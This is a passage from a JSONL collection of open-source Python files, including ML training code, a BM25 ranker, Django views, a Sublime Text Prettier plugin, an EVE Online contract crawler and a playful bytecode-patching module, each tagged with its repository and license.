positive_mean_summary = tf.summary.scalar(\"positive mean\", tf.reduce_mean(tf.reduce_mean(z_mc_pos)))\n positive_grad_summary = tf.summary.scalar(\"positive grad\", tf.reduce_mean(tf.abs(pos_grad)))\n positive_std_summary = tf.summary.scalar(\"positive std\", tf.reduce_mean(tf.math.reduce_std(z_mc_pos, axis=1)))\n anchor_summary = tf.summary.scalar(\"anchor\", tf.reduce_mean(tf.reduce_mean(anchor_dist)))\n # positive_summary = tf.summary.scalar(\"positive\", tf.reduce_mean(tf.reduce_mean(positive)))\n # z_norm_summary = tf.summary.scalar(\"z_norm\", tf.reduce_mean(tf.norm(z_mc, axis=1)))\n # encoder_z_norm_summary = tf.summary.scalar(\"encoder_z_norm\", tf.reduce_mean(tf.norm(encoder_z_mc_pos, axis=1)))\n # neg_norm_summary = tf.summary.scalar(\"neg_z_norm\", tf.reduce_mean(tf.norm(keys_mc_input_negative, axis=[1, 2])))\n contrast_loss_summary = tf.summary.scalar(\"contrast loss\", tf.reduce_mean(contrast_loss))\n prediction_loss_summary = tf.summary.scalar(\"prediction loss\", tf.reduce_mean(prediction_loss))\n total_loss_summary = tf.summary.scalar(\"total loss\", tf.reduce_mean(total_loss))\n\n if predict:\n summaries = [z_var_summary, z_mean_summary, positive_summary, negative_summary, contrast_loss_summary,\n prediction_loss_summary, total_loss_summary]\n else:\n summaries = [z_var_summary, z_mean_summary, negative_var_summary, negative_grad_summary,\n negative_mean_summary, positive_summary, positive_mean_summary, positive_grad_summary,\n positive_std_summary, negative_summary, contrast_loss_summary,\n anchor_summary, total_loss_summary]\n summary = tf.summary.merge(summaries)\n\n train = U.function(\n inputs=inputs,\n outputs=[total_loss, summary, z_mc, pos_grad, neg_grad],\n updates=[optimize_expr_contrast_with_prediction]\n )\n\n return hash_func, z_func, train\n", "source": "MouseHu/emdqn", "license": "MIT"} {"text": "from alwayson import always_on\nfrom threading import Timer\nimport time\nalwayson_obj=always_on()\nalwayson_obj.get_settings()\ndef alwayson_timer(start, interval, count, alwayon):\n\tprint \"Reached restarting point\"\n\tticks = time.time()\n\tt = Timer(1- (ticks-start-count*interval), alwayson_timer, [start, interval, count+1, alwayon])\n\talwayson_obj.create_playlist()\n\tkeep_running=True\n\talwayon.get_settings()\n\tif alwayon.can_i_download_now():\n\t\tprint \"Within allowed time, syncing in progress\"\n\t\tdl_list,del_list=alwayon.get_list_of_incoming_and_deleting(alwayon.get_list_of_local_files(), alwayon.get_list_of_cloud_files())\n\t\talwayon.sync_contents(dl_list, del_list) \n\t\tif len(del_list)!=0 or len(dl_list)!=0:\n\t\t\tprint \"VLC needs to be restarted\"\n\t\t\tkeep_running=False\n\talwayon.run_vlc(keepRunning=keep_running)\n\ttime.sleep(float(alwayon.timer_interval)) # interval in sec\n\tt.start() \nif __name__ == \"__main__\":\t\n\tt = Timer(1, alwayson_timer, [round(time.time()), 1, 0, alwayson_obj])\n\tt.start()", "source": "asemoon/alwaysOn-digital-frame", "license": "Apache-2.0"} {"text": "import math\n\n\nclass BM25(object):\n\n def __init__(self, doc, mode):\n self.D = 1\n self.avg_dl = 0\n\n self.k1 = 1.5\n self.b = 0.75\n\n self.f = {}\n self.df = {}\n self.idf = {}\n self.doc = []\n\n self.doc = doc\n self.D = len(self.doc)\n for sentence in self.doc:\n self.avg_dl += len(sentence)\n\n self.avg_dl /= self.D\n\n # mode\u503c\u6709\u4e24\u4e2a\uff1a1\uff0c2\u3002\u6a21\u5f0f1\u4e3a\u539f\u59cbbm25\u7b97\u6cd5\u3002\u6a21\u5f0f2\u4e3abm25\u8fdb\u884c\u4e86\u7b80\u5355\u7684\u516c\u5f0f\u8c03\u6574\u3002\n self.mode = mode\n\n index = 0\n\n for sentence in self.doc:\n tf = {}\n for word in sentence:\n if word in tf.keys():\n tf[word] += 1\n else:\n tf[word] = 1\n self.f[index] = tf\n\n for k, v in tf.items():\n if k in self.df.keys():\n self.df[k] += 1\n else:\n self.df[k] = 1\n\n index += 1\n\n for k, v in self.df.items():\n self.idf[k] = math.log(self.D - v + 0.5) - math.log(v + 0.5)\n\n def sim(self, sentence, index):\n score = 0.0\n # print(\"---------------\")\n # print(sentence)\n # print(index)\n # print(self.f[index])\n # print(\"---------------\")\n for word in sentence:\n if index not in self.f.keys():\n continue\n d = len(self.doc[index])\n if word in self.f[index].keys():\n wf = self.f[index][word]\n else:\n wf = 0\n score += self.idf[word] * wf * (self.k1 + 1) / (wf + self.k1 * (1 - self.b + self.b * d / self.avg_dl))\n\n if self.mode == 1:\n return score\n elif self.mode == 2:\n return score / (len(sentence) + len(self.doc))\n\n def sim_all(self, sentence):\n scores = {}\n for i in range(self.D):\n scores[i] = self.sim(sentence, i)\n return scores\n", "source": "Qt7mira/mira-py-nlp", "license": "Apache-2.0"} {"text": "#!/usr/bin/python\n# ex:set fileencoding=utf-8:\n\nfrom __future__ import unicode_literals\n\nfrom django.db import models\n\n\n# Only needed for permissions\nclass File(models.Model):\n pass\n", "source": "glomium/cmstemplate", "license": "BSD-3-Clause"} {"text": "from dattasa.data_pipeline import DataComponent\nfrom dattasa.data_pipeline import APICall\nfrom dattasa.data_pipeline import DataProcessor\nfrom dattasa.file_processor import File\nfrom dattasa.file_processor import FileTransfer\n\n", "source": "kartikra/dattasa", "license": "MIT"} {"text": "from ztag.annotation import Annotation, Manufacturer, Type\n\nfrom ztag import protocols\n\n\nclass RoomAlertMEI(Annotation):\n\n protocol = protocols.MODBUS\n subprotocol = protocols.MODBUS.DEVICE_ID\n port = None\n\n tags = [\n Type.ENVIRONMENT_MONITOR,\n Type.TEMPERATURE_MONITOR,\n ]\n\n def process(self, obj, meta):\n product_code = obj[\"mei_response\"][\"objects\"][\"product_code\"].lower()\n if \"room alert\" in product_code:\n meta.tags = self.tags\n meta.global_metadata.manufacturer = Manufacturer.AVTECH\n meta.global_metadata.product = \"Room Alert\"\n meta.device_type = Type.ENVIRONMENT_MONITOR\n return meta\n", "source": "justinbastress/ztag", "license": "Apache-2.0"} {"text": "import math\nt = int(input())\n\n\ndef solve():\n n, L = map(int, input().split())\n enc = list(map(int, input().split()))\n diff_loc = -1\n for i in range(L-1):\n if enc[i] != enc[i+1]:\n diff_loc = i\n gcd = math.gcd(enc[i], enc[i+1])\n break\n mid_dec = [None]*(L+1)\n mid_dec[diff_loc + 1] = gcd\n mid_dec[diff_loc] = enc[diff_loc] // gcd\n mid_dec[diff_loc + 2] = enc[diff_loc + 1] // gcd\n for i in range(diff_loc-1, -1, -1):\n mid_dec[i] = enc[i] // mid_dec[i+1]\n for i in range(diff_loc+3, L+1):\n mid_dec[i] = enc[i-1] // mid_dec[i-1]\n primes = list(set(mid_dec))\n primes.sort()\n alpha_map = dict()\n for i in range(len(primes)):\n alpha_map[primes[i]] = chr(ord('A')+i)\n return ''.join([alpha_map[x] for x in mid_dec])\n\n\nfor _ in range(t):\n print(\"Case #{case_num}: {ans}\".format(case_num=_+1, ans=solve()))\n", "source": "Shahraaz/CP_P_S5", "license": "MIT"} {"text": "import shutil, os\n\npath = input(\"Enter Chapters Path:\")\n\nmrg_dir= input(\"Enter Destination Path:\")\n\ndir_list = os.listdir(path)\n\ndir_list.sort()\n\nsubdir=\"\"\n\nfiles=[]\n\ncount=1\n\nfile_path=\"\"\n\ndestination=\"\"\n\nprint (\"starting\")\n\nfor dir in dir_list:\n subdir = path + \"/\" + str(dir)\n print(\"processing \" + subdir)\n files = os.listdir(subdir)\n files.sort()\n for file in files:\n file_path = subdir + \"/\" + str(file)\n print(\"Doing file \" + file_path)\n destination = mrg_dir + \"/\" + str(count) + \".jpeg\"\n print(\"Destination of \" + file_path + \"is \" + destination)\n shutil.copyfile(file_path , destination)\n count += 1\nprint(\"Done\") \n\n", "source": "Petingoso/dotfiles", "license": "MIT"} {"text": "import sys\nassert sys.version_info.major == 3\nassert sys.version_info.minor == 9\nimport inspect\nimport struct\nimport dis\nfrom itertools import count\n\nfrom mem_view import Mem, _p_hex\n\n\nlocals().update(dis.opmap)\n\n\nclass Frame:\n def __init__(self, frame):\n self.code = frame.f_code.co_code\n self.code_view = Mem.view(self.code)\n self.pos = frame.f_lasti\n\n @property\n def current_opcode(self):\n return self.code[self.pos]\n\n @property\n def last_opcode(self):\n return self.code[-2]\n\n def __len__(self):\n return len(self.code)\n\n def __setitem__(self, pos, patch):\n assert len(patch) <= len(self.code_view), f\"len(patch) = {len(patch)} > len(code) = {len(code)}\"\n assert 0 <= pos <= len(self.code_view) - len(patch), f\"Index {pos:d} out of range [0, {len(self.code_view) - len(patch) - 1}]\"\n self.code_view[pos:pos + len(patch)] = patch\n\n def patch(self, patch, pos, anchor=\"head\"):\n if anchor == \"head\":\n self[pos] = patch\n elif anchor == \"current\":\n self[pos + self.pos] = patch\n else:\n raise NotImplementedError\n\n\ndef return_(what):\n frame = Frame(inspect.currentframe().f_back)\n assert frame.current_opcode == CALL_FUNCTION\n frame.patch(bytes([RETURN_VALUE, 0]) * 2, 0, \"current\")\n return what\n\n\ndef _jump_absolute(i):\n bts = i.to_bytes((i.bit_length() + 7) // 8, byteorder=\"big\")\n assert len(bts) < 5\n return bytes(sum((\n [EXTENDED_ARG, b]\n for b in bts[:-1]\n ), []) + [JUMP_ABSOLUTE, bts[-1]])\n\n\ndef return2(what):\n frame = Frame(inspect.currentframe().f_back)\n assert frame.current_opcode == CALL_FUNCTION\n assert frame.last_opcode == RETURN_VALUE\n frame.patch(bytes([NOP, 0]) + _jump_absolute(len(frame) - 2), 0, \"current\")\n return what\n\n\ndef permajump(where, anchor=\"head\", offset=2):\n frame = Frame(inspect.currentframe().f_back)\n if anchor == \"head\":\n pass\n elif anchor == \"current\":\n where += frame.pos\n else:\n raise NotImplementedError\n assert 0 <= where < len(frame), f\"Cannot jump to {where:d}\"\n assert frame.current_opcode == CALL_FUNCTION\n frame.patch(_jump_absolute(where), offset + 2, \"current\")\n return\n\n\ndef jump(where, anchor=\"head\"):\n assert where >= 2, \"Cannot jump to the top of the frame\"\n frame = Frame(inspect.currentframe().f_back)\n backup = bytearray(frame.code)\n if anchor == \"head\":\n pass\n elif anchor == \"current\":\n where += frame.pos\n else:\n raise NotImplementedError\n assert 0 <= where < len(frame), f\"Cannot jump to {where:d}\"\n assert frame.current_opcode == CALL_FUNCTION\n frame.patch(_jump_absolute(where - 2), 2, \"current\")\n frame.patch(bytes([CALL_FUNCTION, 0]), where - 2)\n print(dis.dis(frame.code))\n def _restore_backup():\n frame.patch(bytes(backup), 0)\n\n return _restore_backup\n\n\nif __name__ == \"__main__\":\n def a():\n return2(\"h\" + \"acked123\"[:-3])\n return 2\n assert a() == \"hacked\"\n\n def a():\n x = \"hacked\"\n permajump(8, \"current\")\n x = 42\n return x\n assert a() == \"hacked\"\n\n def a():\n x = \"hacked\"\n jump(8, \"current\")\n x = 42\n return x\n assert a() == \"hacked\"\n\n", "source": "pulkin/unethical-python-hacks", "license": "BSD-2-Clause"} {"text": "from django.http import HttpResponse\nfrom rest_framework.response import Response\nfrom rest_framework import status, generics, permissions\nfrom django.core import management\nimport io\nimport logging\nimport re\nimport datetime\nfrom .serializers import BackupsSerializer\n\n\nclass BackupView(generics.GenericAPIView):\n permission_classes = (permissions.IsAdminUser,)\n serializer_class = BackupsSerializer\n queryset = []\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.capture_log = io.StringIO()\n ch = logging.StreamHandler(self.capture_log)\n ch.setLevel(logging.DEBUG)\n logger = logging.getLogger('dbbackup')\n logger.addHandler(ch)\n\n def post(self, request, *args, **kwargs):\n management.call_command('dbbackup')\n txt = self.capture_log.getvalue()\n return Response(txt)\n\n def get(self, request, *args, **kwargs):\n f = io.StringIO()\n management.call_command('listbackups', quiet=True, stdout=f)\n txt = f.getvalue()\n f.close()\n\n lines = txt.splitlines()\n data = map(\n lambda x: re.match(\n r'(.*\\.psql) *(\\d\\d/\\d\\d/\\d\\d \\d\\d:\\d\\d:\\d\\d)', x).groups(), lines\n )\n\n data = map(\n lambda x: {'name': x[0], 'date': datetime.datetime.strptime(\n x[1], '%m/%d/%y %H:%M:%S')}, data\n )\n\n data = sorted(data, key=lambda x: x['date'], reverse=True)\n serializer = BackupsSerializer(data, many=True)\n return Response(serializer.data)\n\n def patch(self, request, *args, **kwargs):\n if 'name' not in request.data:\n return Response('you must specify \\'name\\' in url', status=status.HTTP_400_BAD_REQUEST)\n try:\n management.call_command(\n 'dbrestore', '--noinput', input_filename=request.data.get('name'))\n txt = self.capture_log.getvalue()\n return Response(txt)\n except:\n return Response('Error while restoring backup', status=status.HTTP_400_BAD_REQUEST)\n", "source": "r-kaminski/innovativeproject-inventory-of-supplies", "license": "MIT"} {"text": "from settings import Settings, SETTINGS\nfrom ufrc.main import UFRC\nfrom ufrc.sbatch import SBatchHeaders, SBatchFile\n\n\ndef put_sbatch(settings: Settings):\n ufrc = UFRC()\n ufrc.connect(settings.username, settings.password)\n headers = SBatchHeaders(job_name=\"my_job\", email=\"derobertisna@ufl.edu\")\n sbatch = SBatchFile(commands=[\"module load python\", \"ls -l\"], headers=headers)\n ufrc.put_sbatch(sbatch)\n\n\nif __name__ == \"__main__\":\n put_sbatch(SETTINGS)\n", "source": "nickderobertis/ufrc", "license": "MIT"} {"text": "import sublime\nimport sublime_plugin\nimport pathlib, socket, json, subprocess, threading, fnmatch\nfrom .lib.diff_match_patch import diff_match_patch\n\n__version__ = \"0.1.0\"\n\nprettierd: \"Prettierd | None\" = None\nsave_without_format = False\ndef toggle_save_without_format(force=None, timeout=500):\n global save_without_format\n if force is None:\n save_without_format = not save_without_format\n sublime.set_timeout_async(lambda: toggle_save_without_format(force=False), timeout)\n else:\n save_without_format = force\n\n\ndef plugin_loaded():\n global prettierd\n prettierd = Prettierd()\n\n\ndef plugin_unloaded():\n global prettierd\n if prettierd:\n prettierd.terminate()\n\n\nclass Prettierd:\n def __init__(self):\n self.script = pathlib.Path(__file__).parent.joinpath('prettierd.mjs').resolve()\n self.settings = sublime.load_settings(\"prettier.sublime-settings\")\n self.port = self.settings.get(\"port\") or 9870\n self.seq = 0\n self.ready = False\n self.child: subprocess.Popen[bytes] | None = None\n self.on_done = lambda x: None\n self.terminated = False\n sublime.set_timeout_async(self.spawn_subprocess, 500)\n\n def spawn_subprocess(self):\n print('prettierd: spawning subprocess')\n sublime.status_message(\"Prettier: warming up...\")\n si = None\n if sublime.platform() == \"windows\":\n si = subprocess.STARTUPINFO() # type: ignore\n si.dwFlags |= subprocess.STARTF_USESHOWWINDOW # type: ignore\n self.child = subprocess.Popen(\n [\"node\", self.script, str(self.port)],\n startupinfo=si,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n )\n self.poll_ready_state()\n\n def poll_ready_state(self):\n if not self.child:\n return self.retry()\n try:\n io = self.child.stdout\n if not io:\n return self.retry()\n res = io.readline().decode('utf-8').rstrip()\n ret = json.loads(res) if res else None\n if ret and 'ok' in ret and ret['ok'] == self.port:\n self.ready = True\n self.refresh_statuses()\n sublime.status_message(\"Prettier: ready.\")\n threading.Thread(target=self.poll_close_state).start()\n else:\n print('prettierd:', res)\n sublime.status_message(\"Prettier: something went wrong.\")\n self.retry()\n except Exception as e:\n print('prettierd error in poll_ready_state:', e)\n self.retry()\n\n def retry(self):\n if self.terminated: return\n print('prettierd: retry')\n self.ready = False\n self.request(\"quit\", timeout=100)\n sublime.set_timeout_async(self.spawn_subprocess, 3000)\n\n def poll_close_state(self):\n if not self.child:\n return;\n _, stderr = self.child.communicate()\n if stderr:\n msg = stderr.decode('utf-8')\n sublime.status_message(f\"Prettier: {msg}\")\n if b'EADDRINUSE' in stderr:\n self.retry()\n\n def terminate(self):\n if self.child: self.child.terminate()\n self.terminated = True\n self.clear_statuses()\n\n def each_view(self):\n for window in sublime.windows():\n yield from window.views()\n\n def clear_statuses(self):\n for view in self.each_view():\n view.erase_status(\"prettier\")\n\n def refresh_statuses(self):\n for view in self.each_view():\n if view.get_status(\"prettier\"): continue\n self.request_formattable(view, lambda x: self.on_formattable(x, view))\n\n def request_formattable(self, view, on_done):\n if not view.file_name(): return\n if self.is_ignored(view.file_name()): return\n timeout = self.settings.get(\"query_timeout\")\n self.request(\"getFileInfo\", { \"path\": view.file_name() }, timeout, on_done)\n\n def is_ignored(self, file_name):\n for p in self.settings.get(\"file_exclude_patterns\"):\n if fnmatch.fnmatch(file_name, p): return True\n\n def on_formattable(self, ok, view):\n if \"inferredParser\" in ok:\n parser = ok[\"inferredParser\"] or \"off\"\n view.set_status(\"prettier\", f\"Prettier ({parser})\")\n elif \"ignored\" in ok and ok[\"ignored\"] is True:\n view.set_status(\"prettier\", f\"Prettier (ignored)\")\n\n def request_format(self, view, on_done):\n status = view.get_status(\"prettier\")\n if not status: return sublime.status_message(\"Prettier: not ready\")\n parser = status[10:-1]\n if parser in ('off', 'ignored'): return\n path = view.file_name()\n contents = view.substr(sublime.Region(0, view.size()))\n cursor = s[0].b if (s := view.sel()) else 0\n timeout = self.settings.get(\"format_timeout\")\n payload = { 'path': path, 'contents': contents, 'parser': parser, 'cursor': cursor }\n sublime.status_message(\"Prettier: formatting...\")\n self.request(\"format\", payload, timeout, on_done)\n\n def on_format(self, ok, view, save_on_format=False):\n contents = view.substr(sublime.Region(0, view.size()))\n if \"formatted\" in ok and ok[\"formatted\"] != contents:\n ok['save_on_format'] = save_on_format\n view.run_command(\"prettier_format\", {\n 'formatted': ok[\"formatted\"],\n 'cursor': ok['cursorOffset'],\n 'save_on_format': save_on_format,\n })\n\n def do_replace(self, edit, view, formatted, cursor, save_on_format=False):\n original = view.substr(sublime.Region(0, view.size()))\n patches = diff_match_patch().patch_make(original, formatted)\n for obj in patches:\n point = obj.start1\n for i, text in obj.diffs:\n if i == 0:\n point += len(text)\n elif i == 1:\n view.insert(edit, point, text)\n point += len(text)\n elif i == -1:\n view.erase(edit, sublime.Region(point, point + len(text)))\n sel = view.sel()\n sel.clear()\n sel.add(sublime.Region(cursor, cursor))\n if save_on_format:\n sublime.set_timeout(lambda: view.run_command(\"save\"), 100)\n sublime.set_timeout_async(lambda: sublime.status_message('Prettier: formatted.'), 110)\n else:\n sublime.status_message('Prettier: formatted.')\n\n def request(self, method, params=None, timeout=None, on_done=lambda x: None):\n if not self.ready: return\n self.seq += 1\n self.on_done = on_done\n sublime.set_timeout_async(lambda: self.request_sync(self.seq, method, params, timeout=timeout), 0)\n\n def make_request(self, seq, method, params):\n request = { 'id': seq, 'method': method, 'params': params }\n return bytes(json.dumps(request), 'utf-8')\n\n def request_sync(self, seq, method, params=None, timeout=None):\n try:\n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n s.settimeout(timeout)\n s.connect(('localhost', self.port))\n s.sendall(self.make_request(seq, method, params))\n s.shutdown(socket.SHUT_WR)\n res = b''\n while True:\n chunk = s.recv(512)\n if not chunk: break\n res += chunk\n if ret := json.loads(res):\n if 'err' in ret:\n print('prettierd:', ret['err'])\n sublime.status_message(f\"Prettier: {ret['err']}\")\n elif 'ok' in ret and self.seq == seq:\n self.on_done(ret['ok'])\n except socket.timeout:\n sublime.status_message(\"Prettier: timeout\")\n except Exception as e:\n print('prettierd error in request:', e)\n self.retry()\n\n def do_formattable(self, view):\n self.request_formattable(view, lambda x: self.on_formattable(x, view))\n\n def do_format(self, view, save_on_format=False):\n self.request_format(view, lambda x: self.on_format(x, view, save_on_format=save_on_format))\n\n def do_clear_cache(self):\n self.request(\"clearConfigCache\")\n\n\nclass PrettierFormat(sublime_plugin.TextCommand):\n def run(self, edit, save_on_format=False, formatted=None, cursor=0):\n if not prettierd or not prettierd.ready:\n return\n if formatted:\n prettierd.do_replace(edit, self.view, formatted, cursor, save_on_format=save_on_format)\n else:\n prettierd.do_format(self.view, save_on_format=save_on_format)\n\n\nclass PrettierSaveWithoutFormat(sublime_plugin.TextCommand):\n def run(self, _):\n toggle_save_without_format()\n self.view.run_command(\"save\")\n\n\nclass PrettierListener(sublime_plugin.EventListener):\n def on_pre_save(self, view):\n if prettierd and not save_without_format and prettierd.settings.get('format_on_save'):\n save_on_format = prettierd.settings.get('save_on_format')\n view.run_command('prettier_format', { 'save_on_format': save_on_format })\n\n def on_post_save(self, view):\n if prettierd and view.file_name() and '.prettierrc' in view.file_name():\n prettierd.do_clear_cache()\n\n def on_activated(self, view):\n if prettierd:\n prettierd.do_formattable(view)\n\n def on_exit(self):\n if prettierd:\n prettierd.terminate()\n\n\nclass PrettierClearCache(sublime_plugin.ApplicationCommand):\n def run(self):\n if prettierd:\n prettierd.do_clear_cache()\n", "source": "hyrious/prettierd", "license": "MIT"} {"text": "#Writeing to check Simple Else statements.\n\nprint(\"Please do enter a value\");\n\nUserInput=int(input());\nif(UserInput<3):\n print(\"User has entered a number that is less than 3\");\nelse:\n print(\"User has entered an number that is either equal to 3 or greater than 3\");\n#*****************End of the Program************************", "source": "anayakoti/FirstSample", "license": "bzip2-1.0.6"} {"text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport numpy as np\n\ndata = np.load('data.npy')\nprint(data)\nprint(data.shape)\n\n# data2 = np.fromfile('data.csv',dtype=np.int).reshape(26,2,2016)\n# print(data2)\n# print(data2.shape)", "source": "ykk648/TrafficFlowPrediction", "license": "MIT"} {"text": "from pymongo.mongo_client import MongoClient\nfrom pymongo.collection import Collection\nimport crawler.config as config\n\n\ndef getMongoCollection() -> Collection:\n client = MongoClient(host=config.MONGODB_URI)\n db = client[config.MONGO_DBNAME]\n collection = db[config.MONGO_COLLNAME]\n return collection\n", "source": "prahasR/HayStack", "license": "MIT"} {"text": "import csv\nimport yfinance as yf\n#from sys import path \n\ndef writer(symbol, columns=[\"Open\",\"High\",\n\t\t\t\t\t\t\"Low\",\"Close\",\"Volume\",\n\t\t\t\t\t\t\"Dividends\",\"Stock Splits\"]):\n\tsymbol = symbol.upper()\n\thist = yf.Ticker(symbol).history(period=\"max\")\n\thist.to_csv(str(\"historical/\"+symbol.upper()+\".csv\"), header=columns, sep=\",\", index=True)\n\n#path.append(\"historical/\")\nwriter(\"BIO\")\n\n", "source": "e-dant/stockm", "license": "AFL-3.0"} {"text": "import json\nfrom requests_futures.sessions import FuturesSession\nimport boto3\nfrom collections import Counter\nfrom decimal import Decimal\nfrom uuid import uuid4\nimport time\nfrom random import randint\nfrom datetime import datetime\n\nsession = FuturesSession()\ndynamodb = boto3.resource('dynamodb', region_name='us-east-1')\nstructures_table = dynamodb.Table('contract-appraisal-structures')\ncontracts_table = dynamodb.Table('contract-appraisal-contracts')\nlatest_id_table = dynamodb.Table('contract-appraisal-latest-contract-id')\nscheduling_table = dynamodb.Table('contract-appraisal-scheduling')\n\n\ndef get_public_structures():\n return session.get('https://esi.evetech.net/v1/universe/structures/').result().json()\n\n\ndef get_latest_id():\n return int(latest_id_table.scan()['Items'][0]['value'])\n\n\ndef set_latest_id(id):\n latest_id_table.put_item(Item={'id': 1, 'value': int(id)})\n\n\ndef handle(event, context):\n # if we are running into downtime, then skip this run\n now = datetime.now()\n if now.hour == 11 and now.minute < 10:\n return\n\n batch_size = 1000\n if 'batch_size' in event:\n batch_size = int(event['batch_size'])\n skip_pages = False\n if 'skip_pages' in event:\n skip_pages = event['skip_pages'].lower() == \"true\"\n\n print('Loading Contracts ...')\n contracts = parse_contracts(skip_pages)\n print('Loaded %d contracts from esi' % len(contracts))\n if len(contracts) == 0:\n return\n\n print('Loading latest contract id ...')\n\n latest_id = get_latest_id()\n\n print('Checking which contracts already exist for %d contracts ...' % len(contracts))\n\n new_latest_id = latest_id\n new_contracts = []\n for contract in contracts:\n contract_id = int(contract['contract_id'])\n if contract_id > latest_id:\n if contract_id > new_latest_id:\n new_latest_id = contract_id\n new_contracts.append(contract)\n\n set_latest_id(new_latest_id)\n\n if len(new_contracts) > batch_size:\n new_contracts = new_contracts[:batch_size]\n\n print('Enhancing %d contracts ...' % len(new_contracts))\n new_contracts = enhance_contracts(new_contracts)\n\n for contract in new_contracts:\n contracts_table.put_item(\n Item=json.loads(json.dumps(contract), parse_float=Decimal)\n )\n scheduling_table.put_item(\n Item={\n 'id': str(uuid4()),\n 'contract_id': contract['contract_id'],\n # schedule the first check for within 10 to 60 minutes into the future\n 'ttl': int(time.time()) + randint(10 * 60, 60 * 60)\n }\n )\n\n print('Added %d new contracts' % len(new_contracts))\n\n return 'ok'\n\n\ndef get_etag_header(url, etags):\n for e in etags:\n if e['url'] == url:\n return {'If-None-Match': e['value']}\n return {'If-None-Match': ''}\n\n\ndef parse_contracts(skip_pages):\n\n etags_table = dynamodb.Table('contract-appraisal-etags')\n etags = etags_table.scan()['Items']\n\n contracts = []\n new_etags = []\n urls = []\n\n for region_id in range(10000001, 10000070):\n if region_id not in [10000024, 10000026]: # skip non existent regions\n urls.append('https://esi.evetech.net/v1/contracts/public/%d/' % region_id)\n\n while len(urls) > 0:\n futures = {}\n for url in urls:\n futures[url] = session.get(url, headers = get_etag_header(url, etags))\n\n urls = []\n\n for url, future in futures.items():\n print('Loading contracts for %s' % url)\n response = future.result()\n print('Response is %d' % response.status_code)\n headers = response.headers\n if 'X-Pages' in headers:\n pages = int(headers['X-Pages'])\n if pages > 1 and not skip_pages and '?page=' not in url:\n for i in range(2, pages + 1):\n urls.append(url + (\"?page=%d\" % i))\n\n if response.status_code is 200:\n content = response.json()\n for contract in content:\n if contract['type'] == 'item_exchange':\n contract['start_location_id'] = int(contract['start_location_id'])\n if contract['title'] == '':\n contract['title'] = 'n/a'\n contracts.append(contract)\n\n new_etags.append({\n 'url': url,\n 'value': headers['ETag']\n })\n\n for e in new_etags:\n etags_table.put_item(Item=e)\n\n return contracts\n\n\ndef most_common(lst):\n data = Counter(lst)\n return data.most_common(1)[0][0]\n\n\ndef enhance_contracts(contracts):\n\n targets = []\n\n for contract in contracts:\n contract['contract_items'] = []\n\n targets.append({\n 'url': 'https://esi.evetech.net/v1/contracts/public/items/%s/' % contract['contract_id'],\n 'contract_id': contract['contract_id']\n })\n\n while len(targets) > 0:\n\n requests = []\n for target in targets:\n requests.append({\n 'url': target['url'],\n 'future': session.get(target['url']),\n 'contract_id': target['contract_id']\n })\n targets = []\n\n for request in requests:\n response = request['future'].result()\n\n if response.status_code == 200:\n content = response.json()\n print('Response for %s has %d items' % (request['url'], len(content)))\n for contract in contracts:\n if contract['contract_id'] == request['contract_id']:\n contract['contract_items'].extend(content)\n type_ids = []\n for i in contract['contract_items']:\n type_ids.append(int(i['type_id']))\n if len(type_ids) > 0:\n contract['most_common_type_id'] = most_common(type_ids)\n\n headers = response.headers\n pages = int(headers['X-Pages'])\n if pages > 1 and '?page=' not in request['url']:\n for i in range(2, pages + 1):\n targets.append({\n 'url': request['url'] + (\"?page=%d\" % i),\n 'contract_id': request['contract_id']\n })\n else:\n print('Received %d for %s' % (response.status_code, request['url']))\n\n return contracts\n\n\ndef prep_for_db(contract):\n contract['reward'] = float(contract['reward'])\n contract['volume'] = float(contract['volume'])\n contract['collateral'] = float(contract['collateral'])\n contract['price'] = float(contract['price'])\n contract['price'] = float(contract['price'])\n contract['contract_id'] = int(contract['contract_id'])\n contract['start_location_id'] = int(contract['start_location_id'])\n contract['days_to_complete'] = int(contract['days_to_complete'])\n contract['issuer_corporation_id'] = int(contract['issuer_corporation_id'])\n contract['end_location_id'] = int(contract['end_location_id'])\n if 'most_common_type_id' in contract:\n contract['most_common_type_id'] = int(contract['most_common_type_id'])\n contract['issuer_id'] = int(contract['issuer_id'])\n for i in contract['contract_items']:\n if 'record_id' in i:\n i['record_id'] = int(i['record_id'])\n if 'item_id' in i:\n i['item_id'] = int(i['item_id'])\n i['quantity'] = int(i['quantity'])\n i['type_id'] = int(i['type_id'])\n if 'time_efficiency' in i:\n i['time_efficiency'] = int(i['time_efficiency'])\n i['material_efficiency'] = int(i['material_efficiency'])\n if 'runs' in i:\n i['runs'] = int(i['runs'])\n return contract\n", "source": "rihanshazih/contracts-appraisal", "license": "MIT"} {"text": "from cfast_slic import SlicModel\n\nclass BaseSlic(object):\n arch_name = \"__TODO__\"\n\n def __init__(self,\n num_components=400,\n slic_model=None,\n compactness=10,\n min_size_factor=0.25,\n subsample_stride=3,\n convert_to_lab=True,\n preemptive=False,\n preemptive_thres=0.05,\n manhattan_spatial_dist=True,\n debug_mode=False,\n num_threads=-1):\n self.compactness = compactness\n self.subsample_stride = subsample_stride\n self.min_size_factor = min_size_factor\n self._slic_model = slic_model and slic_model.copy() or self.make_slic_model(num_components)\n self._last_assignment = None\n\n self.convert_to_lab = convert_to_lab\n self._slic_model.preemptive = preemptive\n self._slic_model.preemptive_thres = preemptive_thres\n self._slic_model.manhattan_spatial_dist = manhattan_spatial_dist\n self._slic_model.num_threads = num_threads\n self._slic_model.debug_mode = debug_mode\n\n @property\n def convert_to_lab(self):\n return self._slic_model.convert_to_lab\n\n @convert_to_lab.setter\n def convert_to_lab(self, v):\n self._slic_model.convert_to_lab = v\n\n @property\n def slic_model(self):\n return self._slic_model\n\n @property\n def last_assignment(self):\n return self._last_assignment\n\n def iterate(self, image, max_iter=10):\n if not self._slic_model.initialized:\n self._slic_model.initialize(image)\n assignment = self._slic_model.iterate(image, max_iter, self.compactness, self.min_size_factor, self.subsample_stride)\n self._last_assignment = assignment\n return assignment\n\n @property\n def num_components(self):\n return self._slic_model.num_components\n\n def make_slic_model(self, num_components):\n return SlicModel(num_components, self.arch_name)\n\nclass Slic(BaseSlic):\n arch_name = 'standard'\n\nclass SlicRealDist(BaseSlic):\n arch_name = 'standard'\n real_dist_type = 'standard'\n\n def make_slic_model(self, num_components):\n model = SlicModel(num_components, self.arch_name)\n model.real_dist = True\n model.real_dist_type = self.real_dist_type\n return model\n\nclass SlicRealDistL2(SlicRealDist):\n arch_name = 